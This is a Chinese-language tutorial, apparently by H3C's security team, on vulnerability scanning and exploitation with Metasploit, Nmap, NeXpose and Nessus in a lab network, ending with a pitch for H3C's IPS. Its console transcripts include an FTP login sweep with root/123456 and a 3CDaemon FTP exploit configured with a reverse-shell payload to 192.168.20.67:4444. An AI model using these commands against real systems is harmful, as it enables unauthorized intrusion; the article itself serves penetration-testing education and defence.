漏洞,是指在硬件、軟件、協(xié)議實現(xiàn)或系統(tǒng)安全策略上存在缺陷,攻擊者能夠在未授權的情況下對系統(tǒng)進行訪問或破壞。它會成為入侵者侵入系統(tǒng)和植入惡意軟件的入口,影響系統(tǒng)用戶的切身利益。漏洞與目標系統(tǒng)的操作系統(tǒng)版本、軟件版本以及服務設置密切相關。研究漏洞必須要了解當前計算機系統(tǒng)及其安全問題的最新發(fā)展動態(tài)。常見的漏洞包括緩沖區(qū)溢出漏洞、跨站腳本漏洞(XSS)、SQL注入漏洞、數(shù)據(jù)庫漏洞以及WEB應用漏洞等。
常見的漏洞發(fā)掘方法分為以下幾種。
m 黑盒攻擊(Fuzzing):即通過注入數(shù)據(jù)進行自動化測試。
m 獲取攻擊對象的源代碼進行審計:網絡上有很多源代碼審計工具可供使用,如Fortify。
m 反匯編審計:如果無法獲取到源代碼,可以基于匯編碼進行反匯編審計。IDA是一款常用的反匯編軟件。
m 動態(tài)跟蹤分析:通過記錄程序在不同條件下執(zhí)行操作(如文件操作),分析這些操作序列是否存在問題。
m 補丁比較:廠商軟件的問題通常都會在補丁中解決,如微軟的Windows操作系統(tǒng)會不定期發(fā)布補丁程序,通過對比補丁前后文件的源碼(或反匯編碼)就能了解漏洞的具體細節(jié)。
目前,針對常用的漏洞發(fā)掘方法已經開發(fā)出了很多漏洞掃描工具。漏洞掃描工具是一種能在計算機、信息系統(tǒng)、網絡及應用軟件中查找安全弱點的程序。通過對目標系統(tǒng)進行探測,向目標系統(tǒng)發(fā)送數(shù)據(jù),并將反饋結果與漏洞特征庫進行匹配,分析出目標系統(tǒng)上存在的安全漏洞。比較常用的漏洞掃描工具有Metasploit、Nmap、NeXpose、Nessus、Xscan等。
Metasploit Framework是一個強大的開源平臺,為滲透測試、shellcode 編寫和漏洞研究提供了一個可靠環(huán)境。它集成了各種常見的溢出漏洞和shellcode ,并且不斷更新。當前版本收集了上千個實用的溢出攻擊程序及一些輔助工具,操作簡單,易用性好。當然,它不只是一個簡單的收集工具,還提供了所有的類和方法,以便開發(fā)人員使用這些代碼方便快速的進行二次開發(fā)。漏洞掃描只是Metasploit Framewotk眾多功能中的一種,本文只介紹它的漏洞掃描功能。
Metasploit Framework的總體架構如圖1所示,它包含Exploit、Auxiliary、Payload等多個模塊:
m Exploit是攻擊模塊,基本上目前所有的操作系統(tǒng)在Metasploit Framework上均有對應的攻擊模塊;
m Auxiliary是輔助模塊,用途非常廣泛,它可以作為掃描器、拒絕服務攻擊工具、Fuzz測試器,以及其他類型的工具;
m Payload是在目標系統(tǒng)被攻陷之后執(zhí)行的代碼,如添加用戶賬號,獲取shell交互權限等;
圖1 Metasploit Framework整體架構
Nmap適用于Winodws、Linux、Mac等操作系統(tǒng)。它用于主機發(fā)現(xiàn)、端口發(fā)現(xiàn)或枚舉、服務發(fā)現(xiàn),檢測操作系統(tǒng)、硬件地址、軟件版本以及脆弱性的漏洞。Metasploit Framework平臺集成了Nmap組件。通常在對目標系統(tǒng)發(fā)起攻擊之前需要進行一些必要的信息收集,如獲取網絡中的活動主機、主機開放的端口等。
Nmap掃描存活主機及主機運行的服務:
nmap -P0 192.168.20.1-10,掃描結果顯示網絡中活動的主機有7臺,且列舉出了每臺主機運行的服務及主機MAC地址。
msf > nmap -P0 192.168.20.1-10
[*] exec: nmap -P0 192.168.20.1-10
Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:47 ????????????
Nmap scan report for 192.168.20.1
Host is up (0.00014s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
MAC Address: 00:0F:E2:69:5D:E2 (Hangzhou H3C Technologies Co.)
……
Nmap scan report for 192.168.20.4
Host is up (0.0098s latency).
Not shown: 986 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
443/tcp open https
445/tcp open microsoft-ds
902/tcp open iss-realsecure
912/tcp open apex-mesh
3389/tcp open ms-wbt-server
MAC Address: 68:05:CA:0E:BF:59 (Intel)
……
Nmap done: 10 IP addresses (7 hosts up) scanned in 17.53 seconds
msf >
Nmap掃描操作系統(tǒng)和服務軟件版本信息:
msf > nmap -A -T4 192.168.20.4,Nmap顯示的掃描結果相當詳細,列出了目標服務器192.168.20.4上運行的操作系統(tǒng)是微軟的Windows 7或者Windows 2008,提供FTP服務的軟件是3Com 3CDaemon FTP Server,版本號為2.0,并且使用匿名賬號anonymous可以登陸成功。
msf > nmap -A -T4 192.168.20.4
[*] exec: nmap -A -T4 192.168.20.4
Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:54 ????????????
Nmap scan report for 192.168.20.4
Host is up (0.0074s latency).
Not shown: 986 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp 3Com 3CDaemon ftpd 2.0
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-bounce: bounce working!
80/tcp open http HttpFileServer httpd 1.5g
|_http-title: JAX SERVER- /
135/tcp open msrpc Microsoft Windows RPC
443/tcp open ssl/http VMware VirtualCenter Web service
445/tcp open netbios-ssn
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
3389/tcp open ms-wbt-server Microsoft Terminal Service
MAC Address: 68:05:CA:0E:BF:59 (Intel)
Device type: general purpose
Running: Microsoft Windows 7|2008
TRACEROUTE
HOP RTT ADDRESS
1 7.38 ms 192.168.20.4
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 203.48 seconds
msf >
NeXpose通過掃描網絡,可以查找出網絡上正在運行的設備,并識別出設備的操作系統(tǒng)和應用程序的漏洞,并對掃描出的數(shù)據(jù)進行分析和處理,生成漏洞掃描報告。
首先,如圖2所示,在Metasploit Framework中加載NeXpose插件:
圖2 加載NeX
pose插件使用nexpose_scan命令對目標主機進行漏洞掃描:
msf > nexpose_scan 192.168.20.4
[*]Scanning 1 address with template pentest-audit in sets of 32
[*]Completed the scan of 1 address
msf >
查看漏洞掃描結果,掃描程序發(fā)現(xiàn)了7個漏洞:
msf > db_hosts –c address
Hosts
=====
address Svcs Vulns Workspace
------- ---- ----- ---------
192.168.20.4 8 7 default
msf>
輸入db_vulns可以顯示已發(fā)現(xiàn)漏洞的詳細情況:
msf > db_vulns
[*]Time Mon Jun 2013:10:31 UTC 2010 vuln: host=192.168.20.4 port=445proto=tcp name=Nss-26920refs=CVE-1999-0519,CVE-2002-1117,BID-494,OSVDB-299
……
For the sake of brevity,we will just let db_autopwn exploit the low-hanging fruit for us and only run exploit with at least a “good” rating
msf >
Nessus是當前使用最廣泛的漏洞掃描工具之一。Nessus采用client/sever模式,服務器端負責進行安全檢查,客戶端用來配置管理服務器端。在服務端還采用了plug-in的體系,允許用戶加入執(zhí)行特定功能的插件,這插件可以進行更快速和更復雜的安全檢查。
如圖3所示,在Metasploit Framework中加載Nessus插件:
圖3 加載Nessus插件
創(chuàng)建掃描任務:
msf > nessus_scan_new 2 test_scan 192.168.20.4
[*]Creating scan from policy number 2,called “test_scan” and scanning 192.168.20.4
[*]Scan started.uid is d2f1fc02-3b50-4e4e-ab8f-q12jsiey8209384ndjsieksjfdjieb
msf>
查看掃描運行狀態(tài),“No Scans Running”表示掃描已完成:
msf > db_hosts –c address
[*] No Scans Running
msf>
查看掃描結果,掃描程序發(fā)現(xiàn)345個漏洞:
msf > db_hosts –c address,svcs,vulns
Hosts
=====
address Svcs Vulns
------- ---- -----
192.168.20.4 18 345
msf>
從掃描結果可以看出,對同一個目標主機進行掃描,Nessus掃描出的漏洞數(shù)量與NeXpose掃描出的數(shù)量有明顯的差異。通過對不同工具的掃描結果進行對比分析,對了解掃描工具本身,和更精確地確定目標系統(tǒng)存在的漏洞都是非常有幫助的。
除了集成的掃描工具,Metasploit自帶的輔助模塊,可以針對網絡中特定的漏洞進行掃描。下面以FTP掃描為例,介紹Metasploit自帶掃描器的使用方法。
選擇ftp_login模塊,掃描網段192.168.20.1-10中能使用固定用戶名和密碼root/123456登陸主機:
msf > use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set USERNAME root
USERNAME => root
msf auxiliary(ftp_login) > set PASSWORD 123456
PASSWORD => 123456
msf auxiliary(ftp_login) > set RHOSTS 192.168.20.1-10
RHOSTS => 192.168.20.1-10
msf auxiliary(ftp_login) > run
[*] 192.168.20.1:21 - Starting FTP login sweep
[*] Connecting to FTP server 192.168.20.1:21...
……
[*] 192.168.20.1:21 FTP - [1/1] - Attempting FTP login for 'root':'123456'
[+] 192.168.20.1:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.1:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.4:21...
[*] Connected to target FTP server.
[+] 192.168.20.4:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.4:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.6:21...
[*] Connected to target FTP server.
[+] 192.168.20.6:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.6:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.9:21...
[*] Connected to target FTP server.
[+] 192.168.20.9:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.9:21 - User 'root' has READ/WRITE access
[*] Scanned 10 of 10 hosts (100% complete)
[*] Auxiliary module execution completed
查看輸出結果,10個IP中有4臺FTP Server均能使用root/123456賬號登陸,并且含有讀寫權限。通常在公司內網里,很多人習慣使用簡單的賬號,沒有足夠的安全意識,當攻擊者成功入侵內網后,這些工作站將非常危險。
漏洞掃描僅僅是Metasploit Framework強大功能的冰山一角,下面簡單說明一下Metasploit執(zhí)行一次攻擊測試的方法。利用上面Nmap的掃描結果,選取192.168.20.4上所運行的3Com 3CDaemon FTP Server為攻擊目標。通過前面的掃描可以得到目標主機運行的操作系統(tǒng)及應用程序版本的詳細信息,如圖4所示,在Metasploit Framework里搜索針對3CDaemon的攻擊腳本:
圖4 搜索針對3CDaemon的攻擊腳本
use命令進入搜索到的exploit:
msf > use exploit/windows/ftp/3cdaemon_ftp_user
msf exploit(3cdaemon_ftp_user) >
Set RHOST命令設置攻擊目標機的IP地址:
msf exploit(3cdaemon_ftp_user) > set RHOST 192.168.20.4
RHOST => 192.168.20.4
Set target命令設置目標機的操作系統(tǒng)類型:
msf exploit(3cdaemon_ftp_user) > set target 4
target => 4
設置完成之后, show options顯示設置好的參數(shù)信息:
msf exploit(3cdaemon_ftp_user) > show options
Module options (exploit/windows/ftp/3cdaemon_ftp_user):
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOST 192.168.20.4 yes The target address
RPORT 21 yes The target port
Payload options (windows/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process, none
LHOST 192.168.20.67 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
4 Windows XP English SP3
輸入exploit命令,開始攻擊:
msf exploit(3cdaemon_ftp_user) > exploit
[*] Started reverse handler on 192.168.20.67:4444
[*] Trying target Windows XP English SP3...
msf exploit(3cdaemon_ftp_user) >
如圖5所示查看目標機3CDaemon FTP軟件顯示崩潰,攻擊成功!
圖5 3CDaemon FTP崩潰
分析抓包結果,可以看出該FTP攻擊腳本是利用超長用戶名(如圖6所示)導致FTP Server崩潰的。
圖6 抓包結果
避免黑客攻擊,部署專門的漏洞檢測防御系統(tǒng)是非常必要的。Metasploit提供了豐富的掃描功能、攻擊腳本及二次開發(fā)的平臺,使網絡安全漏洞檢測變得相對容易。H3C的IPS(Intrusion Prevention System)采用系統(tǒng)的防御方法,結合智能的規(guī)則識別技術可以對各種漏洞攻擊進行有效的防御。為應對技術的更新,H3C攻防團隊會主動關注網絡上新的攻擊方式,并將分析結果及時添加到IPS特征庫中供客戶升級使用。對于系統(tǒng)維護者來說,積極主動的查找漏洞并打上相應補丁,同時結合專業(yè)的防御設備進行入侵防御,毫無疑問是維護系統(tǒng)安全的最佳方法。
聯(lián)系客服